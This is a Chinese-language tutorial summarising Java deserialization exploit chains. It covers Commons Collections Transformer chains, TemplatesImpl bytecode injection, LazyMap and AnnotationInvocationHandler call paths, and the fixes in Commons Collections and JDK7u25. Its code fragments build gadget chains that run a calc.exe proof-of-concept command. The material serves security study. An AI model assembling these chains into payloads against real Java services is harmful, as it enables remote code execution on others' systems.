Summary Of JavaDeserializations
字数 2210 2025-08-07 00:34:58
Java反序列化漏洞利用链详解
0x00 前置概念
Java反序列化漏洞利用链可以类比为枪械的组成部分:
- 枪口:执行命令的切入点(危险函数调用点)
- 弹膛:从反序列化入口到危险函数的调用路径
- 子弹:实际执行命令的方式
- 扳机:反序列化的入口点
0x01 子弹 - 执行命令的方式
1.1 Transformer机制
CommonsCollections组件提供的转换装饰器,位于org.apache.commons.collections.functors包中。
常用Transformer类:
ChainedTransformer:链式调用多个TransformerConstantTransformer:返回固定对象InvokerTransformer:反射调用方法InstantiateTransformer:调用构造方法
典型利用代码:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
1.1.1 InvokerTransformer
通过反射调用任意方法:
public Object transform(Object input) {
// 反射调用逻辑
return method.invoke(input, iArgs);
}
1.1.2 ConstantTransformer
简单返回构造时传入的对象:
public Object transform(Object input) {
return iConstant;
}
1.1.3 ChainedTransformer
链式调用多个Transformer:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
1.1.4 InstantiateTransformer
调用任意类的构造方法:
public Object transform(Object input) {
// 获取构造方法并实例化
Constructor con = input.getClass().getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
1.2 TemplatesImpl动态加载字节码
利用TemplatesImpl类的两个public方法:
TemplatesImpl#getOutputProperties()TemplatesImpl#newTransformer()
恶意类模板:
public static class StubTransletPayload extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
创建恶意TemplatesImpl:
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
CtClass clazz = pool.get(StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("sp4c1ous");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesTmpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
1.2.1 直接调用方式
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
1.2.2 TrAXFilter触发方式
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
0x02 枪口 - 危险函数调用点
2.1 transform方法调用点
LazyMap#get()中的transform调用TransformingComparator#compare()中的transform调用
2.2 invoke方法调用点
ToStringBean#toString(String prefix)中的invoke调用EqualsBean#beanEquals()中的invoke调用PropertyUtilsBean#invokeMethod中的invoke调用AnnotationInvocationHandler#equalsImpl中的invoke调用
0x03 弹膛 - 调用路径构造
3.1 调用到LazyMap的get方法
3.1.1 通过AnnotationInvocationHandler代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
3.1.2 通过TiedMapEntry.getValue
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "123");
Map expMap = new HashMap();
expMap.put(tme, "whaomi");
outerMap.remove("123");
3.2 调用路径类型
3.2.1 hash调用链
通过HashMap的hash函数触发hashCode方法调用
3.2.2 toString调用链
TiedMapEntry#toString()调用getValueBadAttributeValueExpException#readObject()调用toString
3.2.3 equals调用链
AbstractMap#equals()中调用get方法
3.3 动态代理利用
JDK动态代理执行流程:
- 实现
InvocationHandler接口 - 为
Proxy类指定ClassLoader、Interfaces和InvocationHandler - 调用
Proxy.newProxyInstance()创建代理实例
典型代理设置:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
0x04 扳机 - 反序列化入口
反序列化入口点必须:
- 实现
Serializable接口 - 能够与危险函数调用点连接
- 在反序列化过程中触发调用链
常见入口类:
AnnotationInvocationHandlerPriorityQueueBadAttributeValueExpExceptionHashSet等集合类
0x05 修复方案
5.1 Commons Collections修复
-
3.2.2版本:
- 新增
FunctorUtils#checkUnsafeSerialization()方法 - 默认情况下反序列化会抛出异常
- 需要设置
org.apache.commons.collections.enableUnsafeSerialization=true才能反序列化
- 新增
-
4.0版本:
InvokerTransformer和InstantiateTransformer不再实现Serializable接口
5.2 JDK7u21修复
在JDK7u25中修复:
- 修改了
AnnotationInvocationHandler的构造方法检查 - 修复了equalsImpl方法中的安全问题
版本影响:
- JDK6u45及之前版本受影响
- JDK6u51(非公开版本)修复
- JDK7u21-u24受影响
- JDK7u25及之后版本修复
- JDK8全版本不受影响
总结
Java反序列化漏洞利用的核心在于:
- 找到合适的执行命令方式(子弹)
- 定位危险函数调用点(枪口)
- 构造从反序列化入口到危险函数的调用路径(弹膛)
- 选择合适的反序列化触发点(扳机)
理解这些基本组件后,可以灵活组合各种利用链,适应不同的环境和限制条件。